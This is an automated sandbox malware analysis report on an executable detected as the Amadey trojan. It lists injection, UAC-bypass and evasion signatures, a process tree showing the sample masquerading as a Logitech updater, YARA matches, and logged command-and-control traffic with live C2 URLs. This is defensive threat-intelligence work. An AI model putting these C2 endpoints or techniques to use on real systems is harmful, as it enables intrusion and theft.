Edit tour

Windows Analysis Report
5Z1WFRMTOXRH6X21Z8NU8.exe

Overview

General Information

Sample name:	5Z1WFRMTOXRH6X21Z8NU8.exe
Analysis ID:	1542426
MD5:	ff827141856089465cec7afdc9e65f9d
SHA1:	e985a1d59d90a6522b4077b00bc68c86fc3d72d8
SHA256:	389d5818cb26a1cc113481b66332d164dc76d2c85d8735c074a9bc2409b8c9c0
Tags:	exeuser-aachum
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected UAC Bypass using CMSTP

AI detected suspicious sample

Contains functionality to inject code into remote processes

Contains functionality to start a terminal service

Found direct / indirect Syscall (likely to bypass EDR)

Found hidden mapped module (file has been removed from disk)

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Writes to foreign memory regions

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains long sleeps (>= 3 min)

Creates COM task schedule object (often to register a task for autostart)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

5Z1WFRMTOXRH6X21Z8NU8.exe (PID: 7308 cmdline: "C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe" MD5: FF827141856089465CEC7AFDC9E65F9D)

more.com (PID: 7360 cmdline: C:\Windows\SysWOW64\more.com MD5: 03805AE7E8CBC07840108F5C80CF4973)

conhost.exe (PID: 7372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorer.exe (PID: 4348 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

logioptionsplus_updater.exe (PID: 7984 cmdline: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe MD5: FF827141856089465CEC7AFDC9E65F9D)

logioptionsplus_updater.exe (PID: 8120 cmdline: "C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe" MD5: FF827141856089465CEC7AFDC9E65F9D)

more.com (PID: 8152 cmdline: C:\Windows\SysWOW64\more.com MD5: 03805AE7E8CBC07840108F5C80CF4973)

conhost.exe (PID: 8160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorer.exe (PID: 3492 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
5Z1WFRMTOXRH6X21Z8NU8.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000007.00000002.2300617328.0000000001156000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000000.1730888199.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000000.00000002.2156540910.000000000394F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Process Memory Space: 5Z1WFRMTOXRH6X21Z8NU8.exe PID: 7308	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: more.com PID: 7360	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: logioptionsplus_updater.exe PID: 7984	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: more.com PID: 8152	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: explorer.exe PID: 4348	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: explorer.exe PID: 3492	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.5Z1WFRMTOXRH6X21Z8NU8.exe.4c60a8f.2.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.5Z1WFRMTOXRH6X21Z8NU8.exe.4c60a8f.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1dc88:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1df14:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1dd13:$s1: CoGetObject 0x1df9f:$s1: CoGetObject 0x1dc6c:$s2: Elevation:Administrator!new: 0x1def8:$s2: Elevation:Administrator!new:
1.2.more.com.4652b57.4.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
1.2.more.com.4652b57.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1dc88:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1df14:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1dd13:$s1: CoGetObject 0x1df9f:$s1: CoGetObject 0x1dc6c:$s2: Elevation:Administrator!new: 0x1def8:$s2: Elevation:Administrator!new:
16.2.explorer.exe.5211b57.6.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
16.2.explorer.exe.5211b57.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1dc88:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1df14:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1dd13:$s1: CoGetObject 0x1df9f:$s1: CoGetObject 0x1dc6c:$s2: Elevation:Administrator!new: 0x1def8:$s2: Elevation:Administrator!new:
0.2.5Z1WFRMTOXRH6X21Z8NU8.exe.4c6168f.4.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.5Z1WFRMTOXRH6X21Z8NU8.exe.4c6168f.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1d088:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d314:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d113:$s1: CoGetObject 0x1d39f:$s1: CoGetObject 0x1d06c:$s2: Elevation:Administrator!new: 0x1d2f8:$s2: Elevation:Administrator!new:
1.2.more.com.460da8a.2.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
1.2.more.com.460da8a.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x62d55:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x62fe1:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x62de0:$s1: CoGetObject 0x6306c:$s1: CoGetObject 0x62d39:$s2: Elevation:Administrator!new: 0x62fc5:$s2: Elevation:Administrator!new:
14.2.explorer.exe.4eccb57.5.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
14.2.explorer.exe.4eccb57.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1dc88:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1df14:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1dd13:$s1: CoGetObject 0x1df9f:$s1: CoGetObject 0x1dc6c:$s2: Elevation:Administrator!new: 0x1def8:$s2: Elevation:Administrator!new:
7.2.logioptionsplus_updater.exe.115bf58.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
7.2.logioptionsplus_updater.exe.115bf58.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x2108:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x20d0:$s2: Elevation:Administrator!new:
12.2.more.com.4650b57.6.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
12.2.more.com.4650b57.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1dc88:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1df14:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1dd13:$s1: CoGetObject 0x1df9f:$s1: CoGetObject 0x1dc6c:$s2: Elevation:Administrator!new: 0x1def8:$s2: Elevation:Administrator!new:
12.2.more.com.460ba8a.3.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
12.2.more.com.460ba8a.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x62d55:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x62fe1:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x62de0:$s1: CoGetObject 0x6306c:$s1: CoGetObject 0x62d39:$s2: Elevation:Administrator!new: 0x62fc5:$s2: Elevation:Administrator!new:
14.2.explorer.exe.4e87a8a.4.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
14.2.explorer.exe.4e87a8a.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x62d55:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x62fe1:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x62de0:$s1: CoGetObject 0x6306c:$s1: CoGetObject 0x62d39:$s2: Elevation:Administrator!new: 0x62fc5:$s2: Elevation:Administrator!new:
0.2.5Z1WFRMTOXRH6X21Z8NU8.exe.4c1b9c2.5.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.5Z1WFRMTOXRH6X21Z8NU8.exe.4c1b9c2.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x62d55:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x62fe1:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x62de0:$s1: CoGetObject 0x6306c:$s1: CoGetObject 0x62d39:$s2: Elevation:Administrator!new: 0x62fc5:$s2: Elevation:Administrator!new:
14.2.explorer.exe.4ecd757.3.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
14.2.explorer.exe.4ecd757.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1d088:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d314:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d113:$s1: CoGetObject 0x1d39f:$s1: CoGetObject 0x1d06c:$s2: Elevation:Administrator!new: 0x1d2f8:$s2: Elevation:Administrator!new:
1.2.more.com.4653757.3.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
1.2.more.com.4653757.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1d088:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d314:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d113:$s1: CoGetObject 0x1d39f:$s1: CoGetObject 0x1d06c:$s2: Elevation:Administrator!new: 0x1d2f8:$s2: Elevation:Administrator!new:
12.2.more.com.4651757.5.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
12.2.more.com.4651757.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1d088:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d314:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d113:$s1: CoGetObject 0x1d39f:$s1: CoGetObject 0x1d06c:$s2: Elevation:Administrator!new: 0x1d2f8:$s2: Elevation:Administrator!new:
16.2.explorer.exe.5212757.5.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
16.2.explorer.exe.5212757.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1d088:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d314:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d113:$s1: CoGetObject 0x1d39f:$s1: CoGetObject 0x1d06c:$s2: Elevation:Administrator!new: 0x1d2f8:$s2: Elevation:Administrator!new:
16.2.explorer.exe.51cca8a.3.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
16.2.explorer.exe.51cca8a.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x62d55:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x62fe1:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x62de0:$s1: CoGetObject 0x6306c:$s1: CoGetObject 0x62d39:$s2: Elevation:Administrator!new: 0x62fc5:$s2: Elevation:Administrator!new:
7.2.logioptionsplus_updater.exe.115bf58.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
7.2.logioptionsplus_updater.exe.115bf58.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1508:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x131c40:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x14d0:$s2: Elevation:Administrator!new:
0.0.5Z1WFRMTOXRH6X21Z8NU8.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Click to see the 30 entries

Suricata Signatures

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T22:43:37.141787+0200	2856147	1	A Network Trojan was detected	192.168.2.4	49838	188.114.97.3	80	TCP

ETPRO MALWARE Amadey CnC Activity M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T22:43:38.925555+0200	2856148	1	A Network Trojan was detected	192.168.2.4	49838	188.114.97.3	80	TCP

HTTP traffic detected: POST /8bkjdSdfjCe/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: artvisions-autoinsider.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: explorer.exe, 0000000E.00000002.3581166960.0000000002EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://artvisions-autoinsider.com/5
Source: explorer.exe, 0000000E.00000002.3581166960.0000000002EDA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581166960.0000000002EA7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581166960.0000000002EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://artvisions-autoinsider.com/8bkjdSdfjCe/index.php
Source: explorer.exe, 0000000E.00000002.3581166960.0000000002EDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://artvisions-autoinsider.com/8bkjdSdfjCe/index.php&
Source: explorer.exe, 0000000E.00000002.3581166960.0000000002EDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://artvisions-autoinsider.com/8bkjdSdfjCe/index.phpH
Source: explorer.exe, 0000000E.00000002.3581166960.0000000002EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://artvisions-autoinsider.com/8bkjdSdfjCe/index.phpQ
Source: explorer.exe, 0000000E.00000002.3581166960.0000000002EDA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581166960.0000000002F16000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581166960.0000000002EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://artvisions-autoinsider2.com/Of093jhfhlpo2c/index.php
Source: explorer.exe, 0000000E.00000002.3581166960.0000000002F16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://artvisions-autoinsider2.com/Of093jhfhlpo2c/index.php0
Source: explorer.exe, 0000000E.00000002.3581166960.0000000002F16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://artvisions-autoinsider2.com/Of093jhfhlpo2c/index.php?
Source: explorer.exe, 0000000E.00000002.3581166960.0000000002EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://artvisions-autoinsider2.com/Of093jhfhlpo2c/index.phpM
Source: explorer.exe, 0000000E.00000002.3581166960.0000000002EDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://artvisions-autoinsider2.com/Of093jhfhlpo2c/index.phpdu
Source: explorer.exe, 0000000E.00000002.3581166960.0000000002EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://artvisions-autoinsider2.com/c
Source: explorer.exe, 0000000E.00000002.3581166960.0000000002EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://artvisions-autoinsider3.com/
Source: explorer.exe, 0000000E.00000002.3581166960.0000000002EDA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581166960.0000000002EF0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581166960.0000000002EA7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581166960.0000000002EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://artvisions-autoinsider3.com/G8bjesde2/index.php
Source: explorer.exe, 0000000E.00000002.3581166960.0000000002EDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://artvisions-autoinsider3.com/G8bjesde2/index.php(
Source: explorer.exe, 0000000E.00000002.3581166960.0000000002EDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://artvisions-autoinsider3.com/G8bjesde2/index.phpP
Source: explorer.exe, 0000000E.00000002.3581166960.0000000002EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://artvisions-autoinsider3.com/S
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
